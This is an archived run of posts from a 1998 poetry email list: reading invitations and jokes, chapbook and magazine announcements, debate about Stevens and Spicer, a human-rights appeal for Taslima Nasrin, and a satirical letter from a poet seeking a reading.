On Monday, November 16 at 8 p.m., the Asian American Writer's Workshop will hold its first awards night, honoring Mei-Mei Bersenbrugge (for ENDICRONOLOGY) and Lois-Ann Yamanaka for work published in 1997. Other guests and readers will include David Henry Hwang, Jessica Hagedorn, Lawrence Chua, Indira Ganesan and Timothy Liu. The event will take place at the Joseph Papp Public Theatre in NYC, and a few remaining tickets can be purchased by calling [redacted].

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243. Chris McCreary
Re: ITSYNCCAST, 3rdness publication
Tue 10 Nov 1998

Hi--

Can you pass this message on to John Lowther?

I've obviously not followed yr publishing plans closely enough-- On Oct. 13, I mailed a check for a copy of Syntactics, some poems of my own, and a copy of the magazine that I co-edit, ixnay, to you at an address in Decatur, not Atlanta. Can you please let me know if this envelope made it to you somehow?

(I got the address & issue price off a flyer for Syntactics that's probably about a year old...)

Thanks in advance for getting back to me.

--Chris McCreary
1164 S. 10th St.
Phila PA 19147

↑ Index

244. shana
Re: The man on top
Tue 10 Nov 1998

On Tue, 10 Nov 1998, KENT JOHNSON wrote:
>
> Mairead:
> I hope I do too! If it's a message inviting me to Buffalo _to read_,

> that is. If he does invite me, that man up there, I will even let him
> be on top. In fact, _anybody_ out there: If you invite me to read,
> I'll let _you_ be on top!

Okay, Kent. That's your problem right there. I am only using you for your mind, you know. Being on top would change our whole relationship.

> *So far the only invite I've got is from Brown, but that's not till February, so even there, it's almost like they're trying to put it off as long as they can... C'mon you all, what's the matter with me, do I have crabs or somethin?*

I know from Freeport, IL (roots in Chicago 'burbs)--I don't think they've discovered crabs yet out in them thar village. And if you did have crabs, that would be reason no. 2 "Why Kent Johnson Shouldn't Be On Top."

It looks to me like every single
> person on thsi list has readings lined up here and there and
> everywhere! You have my address and you have my phone number. INvite
> me and I pledge to you: even the rocks and the trees will dance.
> $1000 plus expenses.
> Kent
>

I have no readings scheduled. I was born during the Carter administration, after the Hues Corporation released "Rock the Boat," does that make me too young to have readings scheduled? Confidential to NYC-- Does anyone know anything about the open readings that occasionally take place at Oasis Lounge on St. Marks and A? Has anyone been to any of them? Is it pseudo-stuff? Or is it good?

shana

"In the blank space below specify how
long you have been awake and why you
were taken by surprise."--Dan Pagis

↑ Index

245. **Chris McCreary**
Re: ITSYNCCAST, 3rdness publication
Tue 10 Nov 1998

(Sorry for the back channel to the list... my shame is boundless...)

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246. **Pete Neufeld**
Does anyone know
Tue 10 Nov 1998

---

of someone who organizes readings in Fresno? I'd appreciate any information.

Thanks, Pete ([redacted])

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247. **MAYHEW**
A very nice guy
Tue 10 Nov 1998

What's next, 'will read for food' ?

Jonathan

↑ Index

248. **Thomas Bell**
back to Spicer
Tue 10 Nov 1998

Serendipitously came across an interesting piece by Paul Vangelisti on Spicer's _After Lorca_. He focuses more on the relation of writer/reader to their play with language than on the "reality" issue:

Paul Vangelisti, "Collage as language: further thoughts on 'Events'," in Katherine Hoffman, Collage:critical views, Ann Arbor, UMI Research Press, 1989, "[collage] grew out of an urge (however fictively or artificially realized) to base art in physical reality, in the language contemporary reality was speaking to me [quotes Spicer on deire for "the moon in my(Spicer's) poems tp be a real moon. which could suddenly be covered with a cloud...a moon utterly independent of images]." Vangelisti then goes on to describe his own experiences working with collage poetry and the effect this had on him - essentially he describes a move from "acertain 'tragic' ethos or stance for which the desire to write verse preordained me" to "the salvage in _Portfolio is precisely comic, an assemblage of social and personal contexts within which poetic language may be renewed...in choosing to play with this phenomenon, I find my poetry redefining itself..."

tom bell

NNMNNL MMNMMNK \\\/ <><>,...,., J K
HHH ZOOOOZ ZEUS'WRATHHTARW MM LLLL STOPG [
EMPTY] SPACER

http://www.geocities.com/Athens/Olympus/2562/Dark-Journey/Dark.htm
http://members.tripod.com/~trbell/criticism/gloom.htm
http://members.tripod.com/~trbell/Waysout.htm
http://members.tripod.com/~trbell/petals/petals.htm
http://members.home.net/trbell/motheran.htm
http://members.home.net/trbell/start.htm
http://home.talkcity.com/EaselSt/trbell/Blackwho.htm

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249. Todd Baron /*/ ReMap

Re: A suggestion-

Tue 10 Nov 1998

---

hey Joel: traffic IS what we do in LA!

TODD B.

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250. Poetry Project

Taslima Nasrin

Tue 10 Nov 1998

Steve Lacy has asked us to forward the following:

Taslima Nasrin is an important and wonderful writer. We have collaborated on an opera: "The Cry" which has been performed 14 times in 6 countries and is continuing.

She is a spokeswoman for oppressed people all over the world, and is a winner of the Kharov Peace Prize.

She is in danger of being lynched in her own country.

Your protest to the government of Bangladesh is urgently needed.

Some people & Organizations to contact:

Embassy of the People's Republic of Bangladesh
His Excellency Ambassador K.M. Shehabuddin
2201 Wisconsin Ave. NW Suite 300
Washington D.C. 20007 USA
[redacted] to 8376
fax: [redacted]
email: [redacted]

The Permanent Mission of Bangladesh to United Nations
821 United Nations Plaza, 8th floor

New York, NY 10017
[redacted]
fax: [redacted]
email: [redacted]

Ambassade du Bangladesh en France
5 Square Petrarque
75016 Paris, France
01 4651 9033
01 4651 9830
01 4651 9865
telecopie: 01 4651 9035

If possible, start a petition!

Thanks

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251. **dbkk**
Noah De Lissovoy info
Tue 10 Nov 1998

This is Dodie Bellamy. I've lost touch with Noah since he moved back to LA. Can anybody backchannel me how to reach him? Thanks.

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252. **Kathy Lou Schultz**
Re: The man on top
Tue 10 Nov 1998

Kent and All, I'm starting a crass lecherous guy reading series in my living room. All the guys "on top," not to mention all you bottoms out there, are graciously invited. The fee for bottoms is $50 (you pay me). Kathy Lou

KENT JOHNSON wrote:
>
> On Nov. 10, Mairead Byrne said:
>
> >o ye of the rampant hormones and male chub-clubbiness I hope ye all
> >get messages from the man at the top (on top?)
>
> Mairead:
> I hope I do too! If it's a message inviting me to Buffalo _to read_,
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> I'll let _you_ be on top!
>
> So far the only invite I've got is from Brown, but that's not till
> February, so even there, it's almost like they're trying to put it
> off as long as they can... C'mon you all, what's the matter with me,
> do I have crabs or somethin? It looks to me like every single
> person on thsi list has readings lined up here and there and
> everywhere! You have my address and you have my phone number. INvite
> me and I pledge to you: even the rocks and the trees will dance.
> $1000 plus expenses.
> Kent

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253. **Kathy Lou Schultz**
More on Hejinian
Tue 10 Nov 1998

Okay Kids,
I only received two responses to my query about critical material on _My Life_. (Thank you blessed souls!) More?

I'm planning to use this book in a class I'm teaching at San Francisco State for the winter term, but have found it's backordered everywhere and not even available at the publisher. Help, Douglas! Is it true? I'd hate to xerox and deprive Sun & Moon of the sales. Suggestions appreciated.

Thanks everyone,
Kathy Lou Schultz

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254. **W. Freind**
Elizabeth Treadwell
Tue 10 Nov 1998

You out there? I lost your address. (Apologies to the list.)

Bill Freind

↑ Index

255. **joel lewis**
f.y.i.
Wed 11 Nov 1998

*** Britons may enjoy all-night millennium pub session

LONDON (Reuters) - Britons may be allowed to celebrate the coming of the new millennium with an unprecedented all-night session in the pub, the government said Monday. The Home Office said it proposed to relax the tight rules on licensing hours which until now have meant landlords calling "Time" shortly after the singing of "Auld Lang Syne" at midnight on New Year's Eve. One possibility was to allow carousing to continue until 4 a.m.; the other to allow pubs to stay open until 11 am - opening time on Jan. 1. "The Government's preferred option is an all-night relaxation of licensing hours on New Year's Eve," the ministry said, adding any change will not take effect until the end of 1999. ###

*** Ducks fail to quack Polish market

LONDON (Reuters) - Most people would agree that if it walks like a duck and talks like a duck, it is a duck. But not, apparently, the Poles. A British firm that won a contract to supply breeding ducks to Polish farmers was asked by Warsaw to have them examined first at an independent Polish test station. The request was less straightforward than it seemed - there are no duck-testing facilities in Poland. Nor, by the way, was there any explanation, in a British parliamentary report, of how to test a duck. The Trade and Industry Committee concluded that wily Polish bureaucrats were simply trying to protect a state-subsidized Polish duck-breeding farm from foreign competition. ###

*** Pizza over porn in Belgium

BRUSSELS (Reuters) - Pizza is more puzzling than pornography to people using a Belgian toll-free helpline service. Scoot, an interactive information service accessible by phone or through the Internet, said the majority of the million callers who have used the service asked, "Where can I get a pizza tonight?" While many Internet-only search engines are flooded with sex-related questions and referrals to pornography sites, only 1.7% of the calls to Scoot were about sex or eroticism. After pizza, the next most popular topics on Scoot were questions about travel destinations and party locations. ###

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256. George Bowering

Re: My address and phone

Wed 11 Nov 1998

> *I, too, am a very nice guy. Please, invite me to your town to read.*
>
> *Kent Johnson*

Maria D. told me that Kent told her that too, and then look what happened!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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257. George Bowering
Re: My address and phone
Wed 11 Nov 1998

> *and rachel is full of hoooey. she told me (back when she was still speaking to me) that bowering didn't even bother with the sleeve, but just used her ARM. you ask me, i did that woman a favor getting bowering off her hands (or arm). but that's the way it always is, nice girls finish last... the ones you help hate you most.*

Now, what you are seeing here, if you can read the truth lurking beneath the apparent, are the words of a woman spurned. I am crazy about Rachel's arm, and I was going to give Eliza a chance, but then I took off my Ray-Bans and what did I see? A tattoo--a tattoo that spelled the name that only those who know Bromige VERY WELL would be familiar with. Hell, even I didnt know it for the first 15 years I knew Brom.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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258. Robert Archambeau
Re: Stevens and Spicer
Wed 11 Nov 1998

On Tue, 10 Nov 1998 11:40:12 -0500 KENT JOHNSON said:
>
>For Stevens, Reality and Imagination are both Real, but also
>separate. You could think of his poetry, in a sense, as a kind of
>apartheid solution to the problem of being. The imagination builds a
>circling wall with lovely shards of glass along the top to keep
>the natives out.

Not sure this is quite right, although I have got to hand it to Kent for the image-making -- Stevens as the owner of a well-kept and pleasant Colonial compound, Spicer as the Soweto-Laureate.

As for the separation of the imagination and the real in Stevens, though -- there are pleny of ways the two connect for him, and I'm not sure the wall is quite the right image. In "The Anecdote of the Jar," for example, there's a kind of meeting of the two -- a meeting on unequal terms, but still a kind of meeting:

I placed a jar in Tennessee
And round it was, upon a hill.
It made the slovenly wilderness
Surround that hill.

The wilderness rose up to it,
And sprawled around, no longer wild.
The jar was round upon the ground
And tall and of a port in air.

It took dominion everywhere.
The jar was gray and bare.
It did not give of bird or bush,
Like nothing else in Tennessee.

The act of the imagination organizes a slovenly world, rather than cutting us off from it. That's different from Spicer, who embraces the what Stevens calls the "slovenly," but it isn't exactly a wall that's made. If we want to stick with the apartheid-imagery, maybe we could call the imagination an armored police car going out into the shantytowns of the real. (Or, if we want to be sympathetic, we could call the imagination Stevens' Nelson Mandela, the austere figure whose actions bring order to the disordered). Well, whatever.

The point Kent makes about the different attitude to a chaotic reality in Spicer and Stevens seems exactly right to me, but the wall image seems too static -- the imagination seems more like an action than a barrier in Stevens, at least to this reader.

Bob

--
Robert Archambeau
Lund University (Sweden)

↑ Index

259. **schuchat**
Re: nice poets would a-touring go
Wed 11 Nov 1998

not merely the amounts of money, but Professor Quatrain's speciality mark this letter as seriously out of date. no doubt today, with his expertise in Bosnian folk poetry, Quatrain would be far too busy consulting, appearing on CNN, assisting his academic colleagues in Sarajevo to reconstruct their lives after I forget how many years of war and what, is it two years now, of tenuously enforced peace, and of course publishing in the New York Review etc. what would be the contemporary equivalent? not Jane Austen studies. is there any academic endeavor in the humanities today that would carry the same aroma of irrelevance, obscurantism, pedantry, sheer mustiness, that Bosnia folk poetry seemed to have whenever this delightful peace was penned?

↑ Index

260. **david bromige**
nice poets would a-touring go
Wed 11 Nov 1998

Hmm, maybe it's time to dust this one off & share. When I was teaching, I got dozens of letters almost like this one. I myself never wrote one, of course. . .

How To Write For A Reading

Terence Dactyl
Laurel at Bay
Phenobarbidol
California

Dear Professor Quatrain,

I am the author of more than 17 (but probably no more than 18) volumes of poetry and prose (_Sickness Unto Death & Other Yarns_ ,_The Worm in the Bud is My Buddy_), have published in a wide range (_Lonely Megaphone_ , _Fichte Review_) of journals and magazines, and have given readings from my own works at college campuses all over the country. How are you? Your name was passed along by Anthony Anapest, who speaks of you with considerable warmth. And of course your article on the use of the syzygy in Bosnian folk-poetry is well-known to me, and Volume 83 of _The Comparative Pedant_ is beside me as I write, open to pages 16-92. Keep up the good work!

You may well wonder that I, a total stranger, should write to you. What could he possibly want of me, you are probably asking yourself at this very moment. Well, let me put you out of your misery! It just so happens that I'm to be in your neighborhood between either March 6-8, March 17-23, or September 11-12, on

urgent business, and would be willing while there to make your acquaintance and to read on your campus. I customarily do this for a large sum of money but seeing that I'm going to be there anyway I will consider a pittance many would deem humiliating. It's not as though I'm not used to it, after all. This society treats its artists shamefully. It has to defend its cliches against the real news.

I'm well aware there are stories going the rounds about how I actually loathe giving readings, how I hate meeting professors and students, how flying gives me claustrophobia and airports, agoraphobia, and that I have a speech impediment *[btw,I, db, do]*, and that this would prevent anyone understanding my poems even if they were written to be read aloud. So what. Him who striveth unceasingly upward, him alone can we get to fix the roof. I never flirted with that fellow's wife, either. Her hand cramped up and she couldn't let go of mine. Listen, it's unthinkable that you should invite Anapest and not invite me! Dr. Quatrain, I urge you to think long and hard about this matter. No one wants to be the laughing-stock of posterity, does he? I've read at a lot better places than Milltown State. More than 17, certainly.

Let me assure you there's no trace of ego left in me. Not I, but the wind that blows through me : what I stand for must be served. Every day men die miserably for want of the news. In this respect, I urge you to get my name right on the publicity. Last time I read, a considerable crowd showed up, hoping to hear _Crocodile_ Dactyl. Latecomers kept interrupting to ask when I was going to play my Bushman's Mouth-harp. As you ought to know, I perform unaided--the work requires no props. Unless, that is, a college wishes to pay the expenses of my friend Dexter, who juggles Indian clubs during my haiku sequence. But I'm not at all sure I want to read that sequence again. I'm not even sure that I haven't lost it. Let me just shuffle through these papers one more time....Ah, here it is....No, I don't believe I'll read this....Or maybe I will. Tell you what, I'll wait and see how the mood takes me.

Tell you what, when I get there, you can help me decide. Need I say how much I look forward to talking with you? And your good lady, who will get to meet a real poet at last? I only wish I could be there longer. I could stay long enough to conduct a workshop next day for the additional $50. *[this is written in 1976]* . I could stay overnight with you. I hear you've got a great place. Wonderful what one can do with a little tenure, isn't it? Funny thing, though--I don't suppose Shakespeare or Dante had tenure. But then, they didn't know a hell of a lot about Bosnian folk-poetry either.

So,we'll have plenty to talk about. If you think, though, that poets are too creepy to have around the house--understandably, after what Anapest did to your front door--I can always sleep on the floor in your graduate assistant's loft beside the El in my neckbrace down in the industrial district.

I'll enclose a pamphlet of my latest poems. You'll notice that they read down as well as across. Watch out for the staples! If I don't read at Milltown, I want this back.

In concluding, I wish you all the best in your exacting profession. Wisdom goes hand in hand with age, and I hear you are quite old. I know you will want to see justice done before you die. For God's sake, Quatrain! All I want is what you paid Anapest--it can't have been as much as he says. But perhaps you are already dead. If so, please have the common courtesy to pass this along to the Committee on Visiting Writers. To whom I would like to say, sincerely, that I know what fine work each of you has been doing in recent years. Everything I said to Quatrain goes double for you. I realize you're probably junior faculty who regard this as one more duty dumped upon you because you can't say No until you get tenure. Look, why not simply give the entire semester's allotment to me? Look at the trouble you'll be saved. But of course, you'll probably want to give it all to a "name" like Theodore Thoroughgood or Paul Skald or Booby Bounty--Bobby, I mean--who'll do the same old gig they always do-_after all, that's what the rubes want, right? But perhaps you have the intellectual honesty to resist the easy way out.

However, if this letter turns up at the bottom of a stack of departmental memos two years from now, I know I will libe as a guilty start in your heart.

Truly yours,
Terence Dacytl, Poet.

++++++++++

I apologize for the length. But I wanted to give what help I can, in regard to what not to do.

+++++++++
=========
+++++++++

In regard to the skandalous Bowering, he sold me one of his old books once and inside at the end of the longest poem a hand had scribbled, "I love you forever", and then either "Rachel" or "Maria" or "Eliza". (the penmanship was bad, as though the writer was medicated). Btw, there was never a tattoo with my code-name inscribed, upon that woman. A rare S American butterfly happened to perch on that woman's naked shoulder as Bowering was dawdling by, eyeing that woman.

db3

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261. **jesse glass**
Re: linguistic transparency
Wed 11 Nov 1998

Peter--

I was also a presence on that scene at UW-M. Unfortunately, the Middle-Western Poet syndrome was in full swing there at that time, and the ghosts of Edgar Lee Masters and Carl Sandberg walked by day and night in those halls. Certain resident poets--(imagine a black bar across the eyes as we view them from secret cameras) believed that Dave Etter was a great poet, and that it was good to celebrate corn fields and golden sunsets and Grandma Moses and eatin' apple pie in Woolworths, and working with your hands in the steel mills and bein' spit 'n whittle and bein' anti-intallekshule 'bout what poets do, cause heck I ain't no thinker I'm a poet (an honest-to-god-quote from one of these writers in residence), and I ain't no sissy neither 'cause I write pomes with guns in 'em. (A far cry from the writing seminars at Hopkins, where I'd gotten my degree.)

Yes, it was a different world there. Sometimes I suspected it had something to do with drinking too much lake water.

Fortunately, one floor up was the center for modern studies with Herb Blau and Ihab Hassan--a great corrective if you got the blues. And even better was to hike across the bridge on Locust street to Woodland Pattern Book center and spend the day reading chapbooks and the evening listening to Helen Adam or Robert Duncan read in the flesh.

Let's hear it for linguistic transparency! Rah Rah! The fog comes in on little cat's feet...But actually L.T. isn't all that transparent either.

-----Original Message-----
From: Peter Balestrieri <[redacted]>
To: [redacted] <[redacted]>
Date: Monday, November 09, 1998 8:02 PM
Subject: linguistic transparency

> *Mark Baker wrote:*
> *"But maybe not as naive as the need for LANGUAGE poets to provide a corrective to the "too-easy and too-prevalent assumption of linguistic transparency." Name one 20th-century linguist or philosopher of language who assumed anything like this. Name one English major who assumed it. The easy and prevalent assumption today is the reverse: language is completely opaque."*
>
> *I spent my English major education at the University of Wisconson-Milwaukee where the vast majority of my fellow E-majors*

> *believed in linguistic transparency, and not a few professors as well. I had a fellow student wave a copy of "I Know Why the Caged Bird Sings" in my face while she yelled, "this IS Maya Angelou, this IS Maya Angelou"! My experience was that I had to battle constantly to get people to even listen to the idea that language wasn't a window with "reality" on the other side. I still do, now that I spend my days with English majors who toil away in Silicon Valley.*
>
> *Pete*

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262. **Katherine Lederer**

EXPLOSIVE LET ME TRY THIS AGAIN

Wed 11 Nov 1998

Announcing the publication of

E X P L O S I V E M A G A Z I N E # 6

featuring new work by:

Jenna Roper Harmon

Camille Guthrie

Robyn Schiff

Dale Smith

John Arizza

Jackson Mac Low

Anselm Berrigan

Magdalena Zurawski

Nava Fader

Susan Schultz

Nanos Valaoritis

Individually printed covers
by David Larsen

Poetry Comics
by Dave Morice

from a new location on the upper West Side:

Katy Lederer, ed.
216 W. 104th Street, 1C
NY, NY 10025

$5 per issue / $15 for 3
Make checks payable to Katy Lederer

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263. David Baratier
Sometimes good guys don't wear white
Wed 11 Nov 1998

Bill is a very nice guy. Please, invite him to your town to read.

Since I have never met Kent I can only go on heresay but if I were to meet him, if he were to have me out to read, I would be willing to vouch for him.

Since flaunting one's wares is not only permitted but encouraged on this List I would like to say:

Also, I, too, am a very nice guy. I toot my horn but at a tolerable rate. If it is a criteria, similar to Bill, I also am unemployed and in tremendous spirits. Please, invite me to your town to read.

Be well

David Baratier

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264. Henry Gould
stevens again
Wed 11 Nov 1998

It's amusing to watch Stevens packaged in these cute little ideologically- correct nutshells based on a quick summary of his point-of-view. Stevens' whole life's work in poetry is a continual musing ABOUT the relations between reality & imagination - not a fixed attitude or a program. You can read all kinds of things into his lexicon, his biases & snobbery - you can throw in loaded words like "apartheid" etc. - basically imposing your personal taste on what was originally a discussion about the status of the "real" in language and poetry. As Mr. Shoemaker pointed out, it's another topic deconstructed in good poetics-list fashion. Why are we hashing over old cliches & obviousities about Stevens? He's only one poet among many. What does any of this have to do with current practice? I'm not saying it isn't relevant - it would just be nice if someone pointed out some connections. - Henry Gould

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265. **louis stroffolino**
COMMUNITY CHEST
Wed 11 Nov 1998

Hey, wow--Ron Silliman writes that CB, LAB and AL, "know the meaning of community". Amazing, really. I guess they are learn-ed poets unlike the rest of us dumb-fucks. I assume of course they also know the spelling of heirarchy and clique.

But seriously---
is Mr. Silliman conceding that "community" has only ONE meaning?
And what kind of meaning is that?
Now, one doesn't have to think of all the crimes committed in the
name of "community" to applaud such flambouyant Sillimany rhetoric
that would make Bill Gates (and the speaker formerly known as Newt)
proud.
yours in community,
chris

↑ Index

266. **Billy Little**
Re: Some guys don't list bars nbst(some planet) bars
Wed 11 Nov 1998

---

do you feel your poeticks
would be different
if there never was a chocolate
would an anthology of diabetic poets
be revealing?
during the occupation gis traded chocolate bars
for poems in homes for gnomes
for poems in bed for gnomesses
they traded silk(sic) stocking
for poems in back of taxis
they traded orange segments
or piece of coal
chewing gum
poem crazed warriors
wanted poems whispered
to the sunflower
to the zucchini
to the jerusalem artichokes

whispered in the full moon
w/accordionist accompanying
the bugler
pocket full of chocolate

billy little
4 song st.
nowhere, b.c. V0R1Z0

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

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267. Gabriel Gudding
Kent, come to Kornell
Wed 11 Nov 1998

Kent,

We wouldn't mind if you came to Kornell to read, but we One couldn't pay you, Two could give you no room, Three no board, Four only a partial audience, Five show you lovely ithaka, Six would probably have to walk the hill up to campus in sleet, Seven walk down in rain, Eight slip in a gorge, Nine endure verbal cumin, cognitive curry, but no meat and potatoes, none.

Gabe

On Tue, 10 Nov 1998, KENT JOHNSON wrote:

> *On Nov. 10, Mairead Byrne said:*
>
> *o ye of the rampant hormones and male chub-clubbiness I hope ye all*
> *get messages from the man at the top (on top?)*
>
> *Mairead:*
> *I hope I do too! If it's a message inviting me to Buffalo _to read_,*
> *that is. If he does invite me, that man up there, I will even let him*
> *be on top. In fact, _anybody_ out there: If you invite me to read,*
> *I'll let _you_ be on top!*
>
> *So far the only invite I've got is from Brown, but that's not till*
> *February, so even there, it's almost like they're trying to put it*
> *off as long as they can... C'mon you all, what's the matter with me,*
> *do I have crabs or somethin? It looks to me like every single*
> *person on thsi list has readings lined up here and there and*
> *everywhere! You have my address and you have my phone number. INvite*

> *me and I pledge to you: even the rocks and the trees will dance.*
> *$1000 plus expenses.*
> *Kent*

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268. Pattie McCarthy
some news from Philadelphia --publication announcement
Wed 11 Nov 1998

Announcement of publications:

BeautifulSwimmer Press, a Philadelphia-based poetry imprint is pleased to announce the publication of its first two chapbooks:

RENGA: Draft 32, by Rachel Blau DuPlessis
&
POSTCARDS, by Barbara Cole

Both chapbooks are staple bound and printed on 80lb Poseidon paper.

RENGA: Draft 32, by Rachel Blau DuPlessis, is 56 pgs and features a double cover: 100lb white cover stock with handwritten author's notes to the poem printed on it. The notes are overlaid with a 30lb onion skin/vellum with the poem's title and author printed on it.

The following is an exerpt from RENGA: Draft 32:

Snarled light, snap, bare.
Of golden glass light trees, of Knots
to which one is
apprenticed,
of split splints intransigent,
no
beginning beginning.

::

no beginning but
emptiness full, fulling
in-betweens.

What twisting ribbon (time? or light? or words?) is
it Aglows Astripe?

::

That glows, stripes and

branches, while bursts

of gold-glass light snarls

complicate

"the tangle of it."

****

POSTCARDS, by Barbara Cole, is 24 pages and features a full-color cover illustration by Julia Kuhl, a New York artist and book illustrator who contributes monthly to the New Yorker magazine. She created the illustration specifically for Barbara's book.

The following is an excerpt from POSTCARDS:

in my dreams the water is coming. the dead calm when it is done but nicer than that sounds. so we become mothers to each other. know the task at hand: keep climbing. expand the view. I may regret having to choose but I do not regret making decisions. this is not a tragedy we're making---with a clear climax and everything left dead in the end. at some point the curtain must fall. and who better to decide when the play is over? the idea of living rooms has always appealed to me. the smell of candles burning and a tapestry on the wall. the bringing together of threads. by definition the weave is never singular.

The chapbooks are $8 each (postage included), or BOTH for 15 (Postage included)
For orders or information, please E-mail : [redacted], or write
BeautifulSwimmer Press
c/o Pattie McCarthy
20 Scott Court
Wayne, PA 19087
(Please make all checks payable to Pattie McCarthy).

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269. Pattie McCarthy
New Poetry Magazine (via Philadelphia)
Wed 11 Nov 1998

The editors of the new, Philadelphia-based poetry magazine p H are pleased to announce the publication of issue #1, earShot, featuring :

New Poetry by:
Gregg Biglieri
Ann Simon
Rod Smith

Cole Swenson
and Ryan Whyte

experimental fiction by Pamela Lu,

a poetic metaphysicalspeculation
and color copy of a postcard collage by Bill Luoma,

and a review of Rachel Blau DuPlessis's RENGA: Draft 32, by Nicole Markotic.

To order, or for more information/samples, please E-mail: [redacted]. Copies of the issue are available for $3 (postage included). (Pls make checks payable to Pattie McCarthy).

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270. David Kellogg
Re: COMMUNITY CHEST
Wed 11 Nov 1998

Chris, sweetheart,

You and I may be dumb-fucks, but from here in the isolation of Bumfuck NC, I find that cranky posts like yours and others keep my life going. Which makes me believe that you wouldn't dis community so easily from here. The Poetics list is my one of my communities; my city block is another, but they have terrible taste. It's a nice luxury to attack an event for cliquishness -- we don't even _have_ enough interesting poets around here to make a clique.

Whence the bitterness, anyway?

I know, I know, it's ALWAYS CB et al." Finger in every damn pie. I feel the same way sometimes. But assuming "the Clement Greenberg of language poetry" (isn't that what somebody said? -- I love that) is going to stick around doing his poetic/ promotional/ memorial/ editorial thing, what's it to you?

Chris S. wrote:

> *Hey, wow--Ron Silliman writes that CB, LAB and AL, "know the meaning of community". Amazing, really. I guess they are learn-ed poets unlike the rest of us dumb-fucks. I assume of course they also know the spelling of heirarchy and clique.*

(He may know how to spell hierarchy...)

Cheers,
David
~~~
~~~

[redacted] Program in Writing and Rhetoric
[redacted] Durham, NC 27708
FAX [redacted] http://www.duke.edu/~kellogg/

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271. Gabriel Gudding
Last Call, Cornell Hire
Wed 11 Nov 1998

There have been very few applications for the new poetry hire at Cornell.

If you know of anyone who has a book and who doesn't have a job, please TELL THEM.

And tell them also to get their dossiers in the mail, with writing sample, cv, the whole bit.

It doesn't matter if you're langpo, dingpo, or pungchow: all they want is a good writer who'll be able to teach grads and undergrads a variety of ways to write and to think about language, or to chew a cud if it helps them write interestingly.

I would avoid statements about the nature of reality in your cover letters.

We have a very lively, open, and friendly department. Unlike, god knows, many places. Please get the word out: a job's a job. Gaga

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272. Mark Prejsnar
After they've seen the Pah'ree Commune (iteee)
Wed 11 Nov 1998

This exchange sure suggests something that the list could ponder with profit...

Even David's reply to Chris's outburst drags in some of the same ressentiment... (fingers in pies, cannibal cliches)

Maybe this is the answer to RS's by now infamous challenge: the reason there are no recognizeable groupings of younger poets on the U.S. scene is, they're all too busy resenting their slightly-elder compatriots in this madly fuming way! That seems to use up most of their verve.

God help us if someone on the poetry scene (whose work is interesting) ever REALLY snags a modicum of success!!! (..is discussed in the NYR of Books, say). I'll bet the long knives will really come out then!

I guess this is why we need the Kent Johnson Really Nice Guy Clubs of America, Inc.!!

If i can shake off for a moment the relentlessly facetious tone of the list, which has infected me so, i do indeed think this is an important sociological pattern. The rage against one's slightly-more-visible colleagues is fascinatin' .... Very wasteful, to be sure.

Was it David B. who some time ago mentioned the old joke (which seems very pertinent regarding poetry communities as well): when the Left form a firing squad they stand in a circle??

m.

On Wed, 11 Nov 1998, David Kellogg wrote:

> *Chris, sweetheart,*
>
> *You and I may be dumb-fucks, but from here in the isolation of Bumfuck NC, I find that cranky posts like yours and others keep my life going. Which makes me believe that you wouldn't dis community so easily from here. The Poetics list is my one of my communities; my city block is another, but they have terrible taste. It's a nice luxury to attack an event for cliquishness -- we don't even _have_ enough interesting poets around here to make a clique.*
>
> *Whence the bitterness, anyway?*
>
> *I know, I know, it's ALWAYS CB et al." Finger in every damn pie. I feel the same way sometimes. But assuming "the Clement Greenberg of language poetry" (isn't that what somebody said? -- I love that) is going to stick around doing his poetic/ promotional/ memorial/ editorial thing, what's it to you?*
>
> *Chris S. wrote:*
>
> > *Hey, wow--Ron Silliman writes that CB, LAB and AL, "know the meaning of community". Amazing, really. I guess they are learn-ed poets unlike the rest of us dumb-fucks. I assume of course they also know the spelling of heirarchy and clique.*
>
> *(He may know how to spell hierarchy...)*
>
> *Cheers,*
> *David*
> *~~~

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273. Poetics List
*Judy Roitman's *Diamond Notebook* (fwrd)*
Wed 11 Nov 1998

From: [redacted]
Subject: Judy Roitman's Diamond Notebooks

nominative press collective announces

Judy Roitman's *Diamond Notebooks*

40+ printed pages, saddle-stapled
booklet, available for $7 prepaid
to me:

Christopher Alexander
19 Hodge Avenue #9
Buffalo NY 14222

*NOTE NEW ADDRESS

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274. Jordan Davis
Re cog nize
Wed 11 Nov 1998

There are recognizable groupings of younger poets in San Francisco, New York, Philadelphia, Washington, Boston, Austin, Atlanta, San Diego, Los Angeles, Chicago, not to speak of Iowa City, Buffalo, and Providence. I mean, aren't there? I know why Ron from time to time makes the claim that there is no one following up the great work of his generation -- but Mark, why are you claiming it?

Jordan

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275. lee ann brown
Re: Hannah Weiner 70th Birthday Memorial Tribute
Wed 11 Nov 1998

Sorry you're sick, Maria! Thanks for coming all that way and for your letter to Hannah- and Thanks, R M Daley, for commenting on the Hannah Weiner tribute- I thought it was amazing. Good point about Spicer and the hystericization of women's "visions." I also appreciated James' remarks, especially about her exacting specifications about getting into print what she had on the page, much

of that being exactly as she saw it (literally). But I think Hannah saw her experience of clairvoyance as central to her work process since the 70's - and that cannot be ignored. I'd love to know where the ">projections of words on a cat" came in too- I don't remember that and would like to. . . you mean on Carolee Scheemann's slides of young, pony-tailed Hannah holding her cat up towards the camera to be photographed? And like Bromige's comment abt the Spicer event- the thing that interested me perhaps the most was what works of Hannah's people chose to read and how it manifested in different mouths- I'll try to say more later -I'm still kinda reeling from it all...

Meanwhile,
As an extra bonus: Here's a poem that Bernadette Mayer & Phil Good sent to be read -

Hannah in the First Person

Hello, I would like you to come over and smoke my peace pipe
Could you come over and buy me some frozen yogurt?
I think I should put my sweater on; the voices told me so.
hi I think I'm a fish who has memories
I went for a swim at the Hudson Guild Farm's
lower pond making funny sounds
I made Bernadette's car spin around
I wore a fur coat
I had pinochet arrested

Hannah the fashion designer turned poet
Who wrote so many words including the ones seen on foreheads
sweaters in the summer ouch 123, is it better than synesthesia?

Bernadette said, I caused everything
including for us to... no I cant say this
welcome everyone to all the things you can remember
take acid and get l00% loaded
Yes, and write it down, be experimental
I am the clarvoyant poet
the woman helping the AIM movement poet
breath in the peace pipe seen words strange wonderful text Hannah Weiner
friend of finding meaning in the phenomenal

hannah banana
hannah banana
hannah banana
hannah banan
hannah bana
hannah ba

-Bernadette Mayer and Philip Good
11-98

Z Y X W V U T S R Q P O N M L K J I H G F E D C B A

Lee Ann Brown
